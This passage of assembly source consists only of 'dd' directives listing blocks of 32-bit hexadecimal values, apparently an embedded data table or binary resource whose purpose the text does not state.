dd 0CB451300h, 52FC264Ch, 0F17B11h, 50DDAC8Dh, 89056CE8h
dd 0A779B400h, 0C89CF2A3h, 0B71F18D7h, 60E15913h, 0F3849500h
dd 5ABACA5h, 9A8F001Dh, 0F73794FFh, 8B0A2CD2h, 0C0D9724Ah
dd 0FAE6B401h, 39D08308h, 3A290013h, 7EA430D6h, 0C703DAD0h
dd 148D4E34h, 0A6CAA0C1h, 2DC900C5h, 0E4899FCFh, 713CE25Ch
dd 511BBEEh, 96DF201h, 6E53EBC0h, 0D010005Fh, 392DFEBh
dd 307A055Ah, 6F4BDB00h, 60C4CC28h, 0CA45953h, 0EE13FF00h
dd 0BCE4641Bh, 0C5266D07h, 0EFF33AE0h, 2C46E0ABh, 259700C9h
dd 7E227562h, 3E072E93h, 9B5A080Bh, 40641060h, 0B18500D2h
dd 0BAD66345h, 778DD11h, 5262EE13h, 0F26F4400h, 0C01AE0ECh
dd 0E1C4EA79h, 0EE006899h, 9E585991h, 4D34EDh, 0EF9A0424h
dd 1F9789F5h, 37D4A00h, 53C5697Eh, 73240183h, 0A6E91E22h
dd 9B29A8B8h, 2E1F620Eh, 55C920CAh, 2DDE69h, 527CE80Dh
dd 476C0105h, 0F4000BF2h, 86662B33h, 724F2790h, 5A7F003Eh
dd 0B48895DBh, 0A2005B0Bh, 1F445533h, 56A914h, 311D32BAh
dd 0A42278Ch, 6C835E00h, 80072F8Dh, 8A6D00DFh, 9679E88Bh
dd 940063F1h, 19519E2Dh, 3D1E15h, 0C1A1E94Dh, 47246BCFh
dd 532420E5h, 1C93D358h, 3CC05D0Fh, 558E8428h, 0D7020074h
dd 0B08115EDh, 3CB00513h, 73701B48h, 7952BE2Eh, 0A55D8B04h
dd 22A04081h, 0A632C9C3h, 0C2109Ch, 2C492976h, 3E00270Ch
dd 30CBD781h, 0B0E4F611h, 6C410000h, 0F705F2D9h, 0A03AA85Bh
dd 0D454809Ah, 9FA5715Ch, 0ABF00F2Ch, 7305101Ah, 7B702B5h
dd 0CD403F7Bh, 49092CEh, 0AFD35A03h, 0F4DDCBCh, 0E11F5BE9h
dd 0CC0ECA0Bh, 0C0F346E4h, 6B3102F1h, 728163Dh, 24F73297h
dd 903E8EF0h, 8D38009Eh, 66755A56h, 53583509h, 34267CD4h
dd 3C835C68h, 0E8D9C65Fh, 0A0593F2Dh, 2C314F3Ch, 47845D3Bh
dd 67917055h, 0D03BEE2h, 8B415FEBh, 24C7A86Dh, 4CF300F4h
dd 28E83B9Fh, 621DF0D6h, 0B022361h, 4B6B93BEh, 4103F950h
dd 0FAC49834h, 74C6FC8Bh, 38A6E5E6h, 735180C4h, 6B3F904Bh
dd 0BC9F9F50h, 7D19DD3Eh, 2698920Ch, 315960F2h, 9AC96B2Bh
dd 4B93E08Fh, 161C910Fh, 2C0E3E69h, 2B299Bh, 0C4D2A55Ch
dd 0B6700AF3h, 0EEE7C0h, 20613B66h, 411E2AEAh, 380F7C71h
dd 6D8207Bh, 7EC1F95h, 686DE388h, 0F147C002h, 9300FCB7h
dd 83CE89C1h, 7240F8h, 0AC615CBAh, 0A0158892h, 44E0A700h
dd 0C654A9B8h, 0DE7D00FBh, 2AA10D96h, 0D300052Eh, 0CB35F211h
dd 7CD11780h, 233000C8h, 796A3EC6h, 36B88BDFh, 0B978D61Ch
dd 0C9E1B080h, 25BB49Bh, 9D67F043h, 98A1D725h, 0FC27C5BAh
dd 4A0CDB51h, 8AB5941h, 1421C0E5h, 0DFFB27BDh, 0A9BA8A13h
dd 6E6DBB00h, 0B853584Dh, 0E1F00C05h, 2518AD09h, 1339E660h
dd 14615B5h, 39CAA426h, 0F092B203h, 0E374DB0Ch, 0DE12AB00h
dd 24E8F4C4h, 0C1C70F4Eh, 98A0C22Bh, 0D0724359h, 4F1FE8B0h
dd 0E90D2C37h, 0A0741867h, 7570013Ch, 0BA66B04Dh, 801ED3EDh
dd 0DA069BC8h, 4491B3BDh, 0C2008DD3h, 0C095DE1Ah, 3155C5C6h
dd 0C1C0424Ch, 5900DBFDh, 7564D87Ah, 0F61CF0FAh, 0CB0AC08Dh
dd 0D227B321h, 60DAA631h, 7180B10Dh, 64FB529Ah, 0B80FA94Bh
dd 8091F137h, 40327F85h, 0B1DB1FACh, 1E3B80C3h, 14A8185Ch
dd 7B319100h, 546CF2E3h, 0E8440085h, 0A9784F01h, 75007340h
dd 5A7650C8h, 0FC876C09h, 7BE3017Ah, 619BDD83h, 0B472D01Ah
dd 7F1DE800h, 0AD11A3F9h, 99CF00E1h, 0A13E660Ah, 0AE0039EBh
dd 165123B9h, 6D06DE5h, 3A044E30h, 0DC0019B0h, 42C9B533h
dd 2017A418h, 3C001EF2h, 0C365D46Fh, 60756EBFh, 73DC30CCh
dd 0D200F145h, 0AC80D89Dh, 72C8E3h, 0ADA93417h, 0C3085FFAh
dd 2C3C3A50h, 0B8687503h, 0E277263Bh, 324B23BDh, 0AF8B62B0h
dd 1491750Fh, 8ED2E13Bh, 0BBD5CAF9h, 6D2997h, 28D61646h
dd 8100D1A1h, 3160D9D5h, 7B5122D4h, 81460B5h, 71645CB9h
dd 6C6D2D00h, 629F4B3h, 0F23D07A0h, 131591B8h, 0C0AD73D1h
dd 0A4B2AE4Ch, 6AD33F0Eh, 4ED24181h, 0F0A05838h, 19C76184h
dd 892644B6h, 346A361h, 523EF9h, 30602310h, 0A650322Eh
dd 8E784300h, 9629CBDDh, 68BD146Ch, 6139BB5Dh, 732E726h
dd 10917037h, 1B88CA3Eh, 0EC315900h, 0FDE6CC30h, 0D4333060h
dd 0A3795628h, 3FEDC701h, 8FB58E44h, 49620898h, 0A300A0B0h
dd 5602EB49h, 18D1649Bh, 41361076h, 0CCF1D00Eh, 10C1D20Ah
dd 826D3AEDh, 27E22880h, 90728691h, 0E3E9360Ch, 0F0743977h
dd 0C08EF6A5h, 149B3A11h, 9A0613FCh, 72196473h, 21846008h
dd 3C14A3CBh, 63401C00h, 33FAA6C9h, 0B0964490h, 7C04B67Eh
dd 0C39DA726h, 0E9BF28C0h, 81DD6017h, 8AE3E897h, 0A9CBB88h
dd 34BC9146h, 83A31148h, 91061499h, 7E0C72CAh, 620CD89h
dd 1FB5FAE4h, 9C1EC0h, 0E678D1EAh, 9A1C32A3h, 0C9057D85h
dd 8C0FE84Dh, 2D284036h, 3A949EEh, 0AA0AC31Fh, 50EFCF6Eh
dd 63BFA199h, 47D428C0h, 37AF3C5h, 0D35274F1h, 830CCE8h
dd 0C024213Eh, 474403F3h, 909E3CABh, 0FC671903h, 0E0A129EAh
dd 0D8CC19h, 0ED243CE6h, 90F05898h, 2C299461h, 9EEC9565h
dd 0D39C1D2Dh, 6798012h, 588ED916h, 0E8707C00h, 1952D668h
dd 3F0C000Fh, 67B24831h, 71C06E6Ch, 0A722EDE8h, 0B33A0AD2h
dd 74EC4D13h, 8D008546h, 6E44051Bh, 2B050932h, 0E64D843Dh
dd 0C60E9C40h, 0EE6C22DDh, 7A9B00DEh, 0A926FE87h, 6E1E15F4h
dd 0DF5F5758h, 0AE160D80h, 7EC1Ah, 9071D4A5h, 0A0A165D0h
dd 22403748h, 0F50B045Ah, 40928FDEh, 1BFB94BAh, 0DAAE0287h
dd 89C92550h, 0A1F91C4Bh, 9A52CC61h, 9309965h, 3F23D82Fh
dd 1B327E00h, 0E9500Fh, 5EE6A045h, 69A6EB96h, 18A19CA1h
dd 8143997h, 0B172BA10h, 6AF89FCFh, 0AB0D0E24h, 0A1E2FCD7h
dd 0C0403895h, 50803011h, 844D201Dh, 0B2C3305h, 5C209F99h
dd 2378F3C7h, 3A11E4F1h, 0F3C22E00h, 0D7DA0D8h, 7FEBFE02h
dd 89EFE8A3h, 12BA7C54h, 54180241h, 306090A9h, 4866138h
dd 0EDC4A36Eh, 205B62A7h
dd 63A37675h, 8C03DB00h, 0BCDAFA3Ch, 6B01189Ch, 0F4E65845h
dd 70988DFCh, 377D1900h, 0E8EBCE2Bh, 89DB67E4h, 77C3817Ah
dd 9A11800Eh, 0D5ED6A95h, 6DE407A8h, 735E9B20h, 48288C9Fh
dd 0B0C85012h, 0A37CC032h, 7746EDC6h, 73005D22h, 0A2D5A3A4h
dd 571B35E1h, 207188EBh, 18126353h, 886E7382h, 51681F71h
dd 50CE806Ch, 958C102Bh, 551A3100h, 1EF85D92h, 0ED9300E6h
dd 3FA64C27h, 6A00E990h, 0D15FBC64h, 6B3DD1Fh, 0B19B6961h
dd 8C0091AAh, 0D24D4CB7h, 268F58h, 3251E42Ch, 0E95F159Fh
dd 0D78B0218h, 3717EC40h, 0A058A555h, 31F3E428h, 16C4C500h
dd 0BC6849F6h, 0D0D5494Eh, 4DFA7400h, 2D345E9Ch, 2466327Bh
dd 7A21E008h, 0B04E0192h, 0F5DE930h, 0A3442006h, 0F3C3048Ch
dd 0CEC4F17Ch, 0BE220078h, 8F8789F3h, 0D6051E19h, 8331315h
dd 0C4C7A49Ch, 0BCF179C1h, 21883918h, 0FBF300BBh, 0C26BF29h
dd 0D01DD89Eh, 3FA1A4Dh, 0EB25A757h, 0A5A02313h, 6EF3B103h
dd 3D62B4F1h, 0F3BC2820h, 9350016Bh, 40EBAE01h, 9464DE67h
dd 0AD17EA09h, 0B34880BBh, 9037695Ah, 0DD6701D0h, 0D41D546Dh
dd 9A4C2055h, 0B0ADC23Fh, 8E2188BEh, 102C9232h, 16B82B1h
dd 994BD6Ah, 23F56DE0h, 180E3460h, 20499EF9h, 820A13E7h
dd 2020A4A6h, 8C0D5170h, 0BC40734Ch, 40018C71h, 0EF05B0CCh
dd 72D9B6F7h, 52266888h, 24A86C00h, 0EB0841h, 0E93196D6h
dd 42DFC45Eh, 71890513h, 97954C0Fh, 1C3A4C12h, 6C005D23h
dd 7BB89450h, 77BE2A8Bh, 32C01CB8h, 1E958072h, 6A59FC4h
dd 71870100h, 650BFA8Eh, 17B21997h, 224A3064h, 30BBF268h
dd 0CD01ECEEh, 75E75ADEh, 0EBE83B85h, 73911507h, 511F472h
dd 8270622Ch, 33340068h, 0F228E196h, 6E2C9473h, 0BE05C7EBh
dd 30958DD3h, 0F400406Eh, 0B1B59459h, 7D000664h, 8F992680h
dd 7061E7h, 0FF61BEBh, 90753E08h, 21E0B8ADh, 0CC7B0h, 0BD6C9EABh
dd 6DE233A0h, 362F1A00h, 13B148E7h, 160E3478h, 8FC0C059h
dd 0E811B64Dh, 13058EEAh, 348FAE9h, 0BFA06680h, 99DB2802h
dd 9367DCB1h, 763E4CCh, 5C5E97B8h, 0B8222E43h, 4DFF9100h
dd 259482C8h, 28BFCC0h, 0E57DC7E1h, 0B0408F6Fh, 9B0BB570h
dd 8E348C64h, 1380D508h, 320CD811h, 2CA0888Fh, 11309606h
dd 0B0A132E7h, 0B76D0068h, 8FF8BE19h, 4CB19A1Fh, 85BB1121h
dd 3C814DFBh, 58522CFCh, 339520E3h, 7704414Eh, 8B7D056Bh
dd 6AED1C80h, 0D864015h, 0D0BE0C05h, 40C1B367h, 880F9A9Eh
dd 0ABCFC03Ah, 550080AAh, 317885FEh, 0A913E1Bh, 6387ED7Eh
dd 4D5D0390h, 380062F1h, 0F87DAF54h, 299968D3h, 59704CB0h
dd 72C518B8h, 4FB601EFh, 0E935F168h, 480702Dh, 48ED5D24h
dd 0B9193A60h, 36F91414h, 5203B462h, 8BB29AA8h, 0C0B09140h
dd 806778Ch, 2D145E98h, 8E40BA64h, 0D1EA4DFEh, 0A8FF5D00h
dd 0E9140FC5h, 3C3F48AAh, 0D579C09Ch, 0ABB19761h, 0A2346853h
dd 0EBBC30DEh, 3A1E4F7Dh, 0B4BC0C62h, 0C88721D1h, 0FDF20267h
dd 6E4041EFh, 5A787889h, 61C80C82h, 141D7500h, 13C4A08Eh
dd 388649D9h, 90019C48h, 0D7733DAh, 48C28C9h, 2BB962EDh
dd 651D1480h, 0F59B79B6h, 998FB01h, 3CE2F862h, 0F89930h
dd 7571162Fh, 0FDDC4FFFh, 9AB96E62h, 328C41F6h, 0A2A27413h
dd 9C0F1CCCh, 7213FB14h, 0CC00E4CBh, 94CB14A4h, 42077DD7h
dd 0EB317963h, 69164D57h, 38564888h, 77963500h, 0E56B2E1Fh
dd 0E1C0B614h, 0A2E9088Ch, 0B918004Fh, 0E5864019h, 53675804h
dd 0A0CF9973h, 0A3CF3A88h, 0D834024Ch, 2A75FBC9h, 43A8A067h
dd 0B83858FDh, 1C398C3Fh, 0DFA789DEh, 62700632h, 2EEBE4C1h
dd 0BB0CD9FFh, 39995A08h, 31D0E702h, 57F88745h, 6AEB0278h
dd 108095CDh, 0E77A46Fh, 0A2D42620h, 0C738A075h, 22EC4BCh
dd 8451A0F4h, 7C604249h, 8F6CF6DBh, 1FD429D0h, 0A6F11FF0h
dd 0ED4D0C3Ch, 94003B19h, 63F9E7F2h, 240CE9CDh, 8302C20h
dd 70AE26Eh, 467C8899h, 0E2F6043Eh, 4C0FC01h, 98186BD0h
dd 7FB124EBh, 0F092BDC0h, 0B818588Fh, 4013BAFCh, 0B43F7D4Dh
dd 8C03B823h, 88900A73h, 4C561020h, 0A8484979h, 23482BD7h
dd 8F803F40h, 9CE1DC88h, 0B7550181h, 0BB48F9ECh, 0D71D2829h
dd 39FEF081h, 75BF1B68h, 0A3F2A821h, 43051394h, 0C0BE1F15h
dd 97751B46h, 39121EFFh, 406CF4h, 9C0DE63Bh, 62D100E3h
dd 0F0CF48F5h, 1098528Ch, 0DFB8F107h, 0A4B427ECh, 446C08B4h
dd 0A13B2EB2h, 0B18B0431h, 102F44F2h, 8D84BF34h, 0EB12C6Fh
dd 1D594796h, 31E8E14Dh, 88ED60h, 604E7908h, 3EB3F9DFh
dd 2100DEE5h, 30F1235Ah, 5955FFAh, 0B1140846h, 67A04312h
dd 0ECE1D781h, 450060A7h, 0BD46FCA6h, 994DFD02h, 0CC670C5Eh
dd 4E359301h, 0A8437C8Ah, 76198EEBh, 0A90F3634h, 0F42C68B1h
dd 15808023h, 7B36AD01h, 1D6C0970h, 18C56F28h, 465C9C2Ch
dd 1834C60h, 0C0127A9h, 50F54D1Fh, 29087FCh, 0DA65D6FCh
dd 8EC23A8Dh, 58EA9C00h, 0A688EC4Dh, 9DD900C5h, 77BD23C3h
dd 8C301D54h, 0C19A9887h, 27E20BDDh, 0B44085ADh, 0CA014140h
dd 11A86CA3h, 1864D033h, 8B212052h, 0C607EC0Bh, 37BC0009h
dd 12B0FC25h, 90315AB3h, 775FDE58h, 0C4203353h, 8640D65h
dd 7DC0318Ch, 46EDC3A3h, 5E229Fh, 0E4A3A574h, 8BD669E3h
dd 0FF806099h, 0B7B9527Eh, 0B50F02ACh, 1F1351E1h, 0DE790851h
dd 12F7E419h, 0D3FC6F00h, 6CF6139Bh, 8E7320F5h, 10947948h
dd 9013C310h, 53C4393h, 4BE898B5h, 2C016273h, 0ED5E5535h
dd 38A68957h, 839E117Ch, 91071498h, 7F0C72C2h, 0FCA0D088h
dd 0DA7A12F4h, 594009F3h, 532FCCE0h, 0AC9C1D28h, 6801974Fh
dd 86251FEAh, 9A791041h, 7099D806h, 5F1874F1h, 0FC707201h
dd 1679B05h, 0B8206CE1h, 79AC914Dh, 0FE3019BBh, 84C83F94h
dd 0B1319700h, 20160E3Ah, 0CBE190Ah, 7744948Fh, 0FA149D60h
dd 11AA1323h, 0A5D91886h, 0C63A20h, 267F7815h, 0FC6EEF75h
dd 7389FE0Ch, 413C6036h, 0CCE8008Dh, 2900BB94h, 9C9FE353h
dd 0A17C42h, 0CF40AB88h, 0B2B8AE28h, 590D9D00h, 0FB29A520h
dd 0E94A00EBh, 286D533Dh, 0BC00711Eh, 0A3115FB3h, 75AFFDh
dd 6B01FC85h, 0C6D5270Eh, 17000372h, 4B1E7113h, 5A9445h
dd 33344CCDh, 666299A6h, 0C0CC4203h, 0B8ADE5DEh, 685384h
dd 0FC205B45h, 32FF1B0Ch, 2603EEE8h, 893F41D2h, 0E92AF329h
dd 8984821h, 397721A5h, 5A7B3F00h, 0BD138453h, 0B5071FFEh
dd 1D660C32h, 0F00C649h, 0AB9ED1CDh, 6FA809E8h, 21380873h
dd 0CD00E6D9h, 2CC842E5h, 10F76A03h, 7E265D73h, 0A49E3C00h
dd 0D30123E8h, 678900C9h, 49177C2h, 0AC0343BDh, 0FDD12D81h
dd 0D6993F9Bh, 41191B00h, 1548B922h, 0D4691C0Ch, 77642031h
dd 5DC8033Eh, 3824A220h, 542145E8h, 84F73628h, 347687E6h
dd 5A0AA30Ch, 0CE4887Fh, 0FE74D125h, 90000E99h, 928943F3h
dd 3A7108D6h, 1518D5DAh, 97B12027h, 0BDC8F300h, 0EAA386FAh
dd 3F60052h, 0FBB660E0h, 3860CCEDh, 762A32B1h, 0A17E0533h
dd 22A3677Ch, 10303AA4h, 9ED211CDh, 87CB8803h, 70CDE7E0h
dd 57EF1E9Fh, 0DCA160C1h, 2842D8A6h, 0CD19303Bh, 0DBA01711h
dd 0E0ACC388h, 0B2E0CD00h, 32C108Eh, 0BB2A7E80h, 581032B3h
dd 9E00C916h, 873D75EFh, 0E6006EB4h, 4150CCA4h, 7C5D4Bh
dd 6FB02747h
dd 0C80FE3BEh, 3A39D200h, 0B96DEF83h, 720401ABh, 9E48906Ch
dd 58D8C860h, 0A1F49F03h, 0A021E3FCh, 786FF8Fh, 290C7B89h
dd 0DA60EFCEh, 0EAE5FB2Ah, 0D9208C00h, 46E0D60Eh, 0EC440090h
dd 0E764BCF9h, 1475FF61h, 78C2AA00h, 6B7FB70Bh, 393701CEh
dd 768A4AE3h, 8CA1F079h, 0C74F7800h, 0C8EC926h, 9CEA01BCh
dd 0AD24FB9Bh, 0F833D8CEh, 0E8F31801h, 522E618Fh, 87423880h
dd 98B8C3EAh, 99EE2000h, 0F337017Ah, 0C4892004h, 0FE2FF01Ch
dd 251E8683h, 0DF2000AAh, 0D506B4EEh, 0B20005A3h, 501A09CFh
dd 987D2073h, 18776037h, 0F211A4B7h, 6F56F8E1h, 14C358h
dd 0CA0B9D81h, 3625B48h, 0FA601BE5h, 0F9C8B10Fh, 0BC00CC78h
dd 2B678652h, 0EB1018h, 0B3ABB1Dh, 4D2FC841h, 0FAC9BF05h
dd 80419BB5h, 0C3FD24F3h, 0A668B08Ah, 19848098h, 51E01E38h
dd 7D5EAE60h, 0C730B4C0h, 10E9B040h, 0B28CD2CFh, 4483A700h
dd 25103A1Ch, 639D3C7Dh, 0BF9600F8h, 1FEBB30Fh, 29C3F88Ch
dd 0B0159082h, 0E1CB8C7h, 0F69D6B98h, 99D27220h, 2A0633BCh
dd 0AB6EEBB5h, 6FB40330h, 0BD58603h, 2C8E1000h, 5376FAAEh
dd 55E100F8h, 6850832h, 8C00198Fh, 123C4070h, 0F7A8DFAh
dd 21B9A0B6h, 78413101h, 1D1883F9h, 19F70EBh, 0AE39ED61h
dd 0E4040CFFh, 0EA0C5F9Bh, 218DFCE0h, 0DB6F00BFh, 702CF1AEh
dd 1900B63Eh, 7982ABC5h, 90EE1A47h, 2D223D6Bh, 48467076h
dd 8F0100E6h, 72B1173Dh, 0C2B9CC11h, 33429800h, 5BEB23AAh
dd 0F7100FD9h, 40211E8Ah, 808E28B3h, 0A10EA770h, 0C991C71h
dd 88846942h, 0B11C8A19h, 5B8EAA7Ah, 0C00381FBh, 45607221h
dd 681D071Bh, 0F0AF8579h, 0D5713F29h, 3F4F0C3Ah, 0E64480F0h
dd 3159F9EFh, 0D9AE00BAh, 84E017CFh, 0B40C6C67h, 182170D4h
dd 336D1C59h, 0B2EA4095h, 0C276089Fh, 693273Ch, 1B3CFC9Eh
dd 0BB700C28h, 0CC6128A9h, 0C2530403h, 0F0FFD72Ah, 3055859h
dd 0EBC0D9ABh, 0BDA93189h, 0F1A620BAh, 0BB4F1B0Ch, 442828ECh
dd 0AA043D03h, 0BAC2EBA7h, 0B23A1A80h, 0EA9201E3h, 6BCF0F06h
dd 1CD1A176h, 19F0989Fh, 35A1FDBh, 94315F6Dh, 98216BEAh
dd 74B20359h, 0C077BC90h, 21D0AC70h, 40DFA85Ch, 3E00D2EFh
dd 5D4201Dh, 60D5ECAh, 690F0EF9h, 710020F7h, 0BECFDB30h
dd 506402F0h, 11290F5h, 9187B635h, 84E79988h, 9A50EB1h
dd 9DFD1780h, 21590074h, 235B3FC1h, 1C63BF48h, 3B89928h
dd 1BB64A31h, 0DCE0AF78h, 12602572h, 4916CF18h, 17DB1F09h
dd 6403C6D8h, 5D00798Eh, 0DF6DD2B1h, 50D54508h, 20D1A07Fh
dd 59150E11h, 7984875h, 0D33389F3h, 0AE9C3B60h, 9E150025h
dd 297EBF8h, 180CB8B4h, 794B6CDCh, 9B091481h, 2322240Bh
dd 2A2E600h, 485EBA92h, 504BE272h, 97DECD1h, 1623FE70h
dd 0EB2F1C20h, 5801D6B6h, 0D0B8CBD4h, 0E3D0CCC3h, 5520C170h
dd 0F01DB6D2h, 0A305395Eh, 7279747Eh, 70C79883h, 1244351h
dd 58D4B819h, 2A0CCCC4h, 0C08F21C0h, 7A6BAB7h, 0D2043F70h
dd 0FCA9F13Dh, 13508AA0h, 5832F4E8h, 0DF5490FAh, 58D214B6h
dd 2D882C74h, 0B6E71980h, 5058ECDEh, 18D3A4DBh, 0C9DA80BAh
dd 2E0EB240h, 0A7D6E50Ch, 0BEC2E0A9h, 0CAD044BAh, 40640370h
dd 58D3B6ECh, 91CD0C21h, 0D41A0028h, 800E8EB6h, 7E3F0F23h
dd 0D7699A7Fh, 740C9800h, 7490CBD8h, 9E3A8B1Ch, 0A502E0A4h
dd 4497D34Fh, 6DFB0328h, 24850F43h, 539CEDF0h, 1362A474h
dd 6125DD21h, 8CF0FC4Eh, 0E5263076h, 0EDB85DD1h, 0DCFF060Eh
dd 1166E0D1h, 997F50h, 443F47ABh, 273B6F1Fh, 0C623D01h
dd 0E4C2B55Eh, 0CB838045h, 0BE7AEB12h, 3CBB010h, 3634F1FBh
dd 0FED88631h, 0FCFAAB53h, 9AF9A600h, 55FD07F2h, 425D00BFh
dd 2E0C2071h, 0E20E89B6h, 0E2947C23h, 0E0C59B92h, 0BC8E86h
dd 0D9FD6156h, 0DC27DA6Fh, 2BB3B203h, 984E97EAh, 70416542h
dd 4D60001Ah, 1B7C4452h, 4500A932h, 7283365Eh, 0FF3034h
dd 0FEAC1DE1h, 0F47F3C8Ch, 16529A03h, 0A049B7B0h, 591063h
dd 0A12EA0ACh, 33D487AAh, 3188523Ah, 0A53621FCh, 3C6B570h
dd 3518A4D1h, 3ED09E23h, 2718637Ch, 0F92814BEh, 96590076h
dd 0B347E736h, 1F63DF3Eh, 0F646A08h, 96219920h, 4D858340h
dd 0E3000CD2h, 135C7540h, 14652364h, 4CB2BD66h, 95D22200h
dd 0B10452B7h, 0A4020B71h, 62468524h, 31E0DF9Ah, 16295310h
dd 0B30768B5h, 8222F1A0h, 172B1880h, 0FCB07F80h, 221601DCh
dd 214B240Dh, 64F8E4E6h, 48A8666Ch, 3979003Ah, 0CB1729B0h
dd 78B505C6h, 69100C66h, 83295FFEh, 0AA0B2803h, 932A131Ah
dd 990930E2h, 0ADF2321h, 4B0154FAh, 968F2B03h, 88505BC1h
dd 3EDE6620h, 64581240h, 346CAD01h, 52624179h, 0B130B3D4h
dd 0A1273EA0h, 0F79188A1h, 9DA63901h, 40DF8E79h, 968C3B94h
dd 1AD73A00h, 11F63D4Dh, 1607076h, 0B61B6670h, 0D017D6FBh
dd 75017856h, 0E622B3F2h, 0A8C8FA04h, 5BB10044h, 2ADDB406h
dd 57004C98h, 0B0DABB6Ah, 3C60BC65h, 0B900F816h, 0FCAFC339h
dd 660036A2h, 8C3191BAh, 48580FEFh, 770760F0h, 20FC5F44h
dd 0DDA91F56h, 0E311CD00h, 5B39B206h, 85DF0066h, 516F4B3Ah
dd 700E63Ch, 0B368874Eh, 2CFE9BF6h, 0EDD5ABh, 7809AE37h
dd 24020C54h, 77B0E8FBh, 0C1CB4032h, 99593D48h, 1F69680h
dd 0D13F4CDCh, 801B1E3Eh, 0A8D328D5h, 7E6E4Ah, 0FB18F2E0h
dd 67B2A33Ah, 0D6B51500h, 5C9789FEh, 6C3F8FCh, 0D2287B56h
dd 96211868h, 0E1948842h, 48313E44h, 866A08AFh, 6971B811h
dd 0DE766622h, 30D5A430h, 0E9E01A37h, 61421301h, 0C5FBD0EAh
dd 0DA5F1100h, 63CE4636h, 6020C037h, 2394CA85h, 85A150C8h
dd 0F25A98h, 155C9F1Ch, 0B13C9B02h, 6F921E77h, 670E121Eh
dd 0E00F037Bh, 10711E73h, 0D920A14h, 8491E08h, 988FE4DFh
dd 0D19980FEh, 0C141DBBh, 65F83954h, 0F639DC79h, 0B2C8E386h
dd 807CC8h, 0FD79FF4Ah, 0C642241Ah, 0D18C160h, 0DEE59B6Ch
dd 55042959h, 6307DFC1h, 0CE7BA841h, 0E0C451DCh, 0F5DE00C8h
dd 0A8B3C313h, 77FAFE6Bh, 39503403h, 79DD857Bh, 77E08429h
dd 40FF9388h, 12F97D4Fh, 0F22A11A0h, 0B8217F24h, 10AC12C6h
dd 0BB896EF7h, 982127CEh, 0F300B891h, 4B8B7F56h, 0C100B583h
dd 0F9AEC5E0h, 38DF8D9h, 962B6E6Ch, 0BCE30CA5h, 7046C78Fh
dd 638265FFh, 0BD1F7300h, 0FDE2B41Eh, 9718009Bh, 0BA029032h
dd 49068DEDh, 0BD82D10Bh, 5857791Ch, 0DC1E24DAh, 2A030047h
dd 68155524h, 0E103BA7Dh, 5C95DF1Ch, 0E869C88Fh, 0E74B2639h
dd 0A67C1CBEh, 0D2420042h, 827DA851h, 0C072200Eh, 262EAC50h
dd 4736001Ch, 0DE3966D0h, 0AE15C705h, 0D434DAh, 415C5EA2h
dd 38DCE612h, 0E980FA35h, 0CF0F096Dh, 0EE70941Bh, 0E5889F0Ch
dd 349008h, 0E3626BFFh, 0B2C2B65Ch, 407B4100h, 0DBA10BFBh
dd 4194820h, 9963CF00h, 73F83C78h, 0E971FF00h, 0DB4EEDAAh
dd 0EAA63FE1h, 0B06C1681h, 0C42D112Eh, 7C0017E4h, 0FDDAC1D3h
dd 253F26A8h, 0F0F4B26Ch, 1C32D900h, 17650BFh, 99E2EAF0h
dd 6162225Ch, 0ED18F007h, 2D1BC10Ch, 9DF189Ch, 4690DBC8h
dd 78431A83h, 0D39F54C8h, 8006883Ch, 1B1C3384h, 79FC8136h
dd 0E6463817h, 0FAA8180Fh, 723CBE00h, 8DB8B1CDh, 0BC3F5500h
dd 0E35280Dh, 0AB24002Dh, 0C4A3B65Dh, 0A477AADAh, 70DC912Fh
dd 12E10000h, 4B812CD8h
dd 0F2010E95h, 5A3A3D0Ch, 0D73023C6h, 0FA7400E8h, 0D5582C83h
dd 1C0F4BB1h, 2095FB14h, 0C3D4088Fh, 2C514CFh, 4400C0D8h
dd 34F540CAh, 7500B47Fh, 0D017F0DAh, 4A2A1Bh, 88EA592Eh
dd 0C17DFC54h, 44000770h, 3373579Dh, 17ECA2h, 0B9FA3F47h
dd 7EEF6CB0h, 9E79512h, 609C3000h, 3CEDE5BDh, 0C1018F16h
dd 0E6B3EC32h, 0FCD7D0BFh, 79986B90h, 0A22DC728h, 0BED92C03h
dd 9043F5F6h, 6A0DE6h, 8522AB2Fh, 2163AEEFh, 0E81ED900h
dd 0FFE4E028h, 0F8AF020Fh, 4B2D4346h, 1E40C18Fh, 0E9D8F277h
dd 49559h, 59558BFDh, 0F53173h, 71EF3CAEh, 0F225672Dh
dd 4A03B902h, 8F2228F1h, 692E0F1h, 38CDC2BAh, 4200B4FDh
dd 5750F43Dh, 0CC00B0CBh, 0C80D0F0Ch, 82BD1Dh, 1E35AF6Ch
dd 0D637B666h, 23D42F00h, 155B1A22h, 0F78600F5h, 362AE81Bh
dd 0AE0B5A2Dh, 0DD6E0D4Ch, 34469000h, 320040DBh, 2E27A7F5h
dd 38184416h, 0BA9F107Dh, 0E277C057h, 6F0AB336h, 59A22603h
dd 0E5D3BBAEh, 15626FC0h, 0F1EB01F7h, 0CD1D6908h, 0C3C8C7DFh
dd 437CBFEEh, 84455828h, 0CC153300h, 0F244674Ah, 0AC115081h
dd 0B81A00BBh, 0EBAD36CFh, 593E64AAh, 197A0005h, 0A6BDE206h
dd 33A00441h, 0D05F7E62h, 0D7D2CD44h, 40947126h, 7DEAD03h
dd 980A8B0Eh, 2A3448CBh, 7BC0B3Ah, 1EDF9786h, 0B43B209Bh
dd 0B4A06DF4h, 0C412282Dh, 1800B915h, 0C8679916h, 922B807h
dd 5395F40Eh, 4FC13C83h, 90870DB0h, 0F5762F00h, 7CB2D44h
dd 9F8D1485h, 6908F8FFh, 78003AE6h, 0E3F6C773h, 11560433h
dd 0C0C610ADh, 5C5F634Ch, 230C23Ah, 26D81E9Eh, 55CC4077h
dd 0A1E4003Ch, 0BE86C714h, 13DDCF1h, 234780B1h, 88021C1h
dd 39F70029h, 5924E4E3h, 13715E4Ah, 75968603h, 0A8293C25h
dd 125B5C79h, 74D2DE2h, 0B0836C4Ch, 0E172924Bh, 8F99B300h
dd 508D1EC8h, 0BAA0005Eh, 3A74BB98h, 0A004EC9h, 40A3E4B9h
dd 0CA25BCh, 604726B3h, 848597E6h, 900E574h, 33BE0F9Bh
dd 3C3DB0Dh, 0F96D5789h, 30DBFBB7h, 0E4222689h, 7078065h
dd 9A186F2Bh, 0B825C453h, 39EBA2EFh, 0C000CACDh, 852D7C41h
dd 43002313h, 98665376h, 0FA049220h, 813A0340h, 0A9117B58h
dd 0CA2BD990h, 0F3856E00h, 0ECC088B7h, 1C20002Fh, 812A9B3Bh
dd 5E3A048Ah, 4B310E18h, 8892E0E0h, 9BDA419h, 4D5506ADh
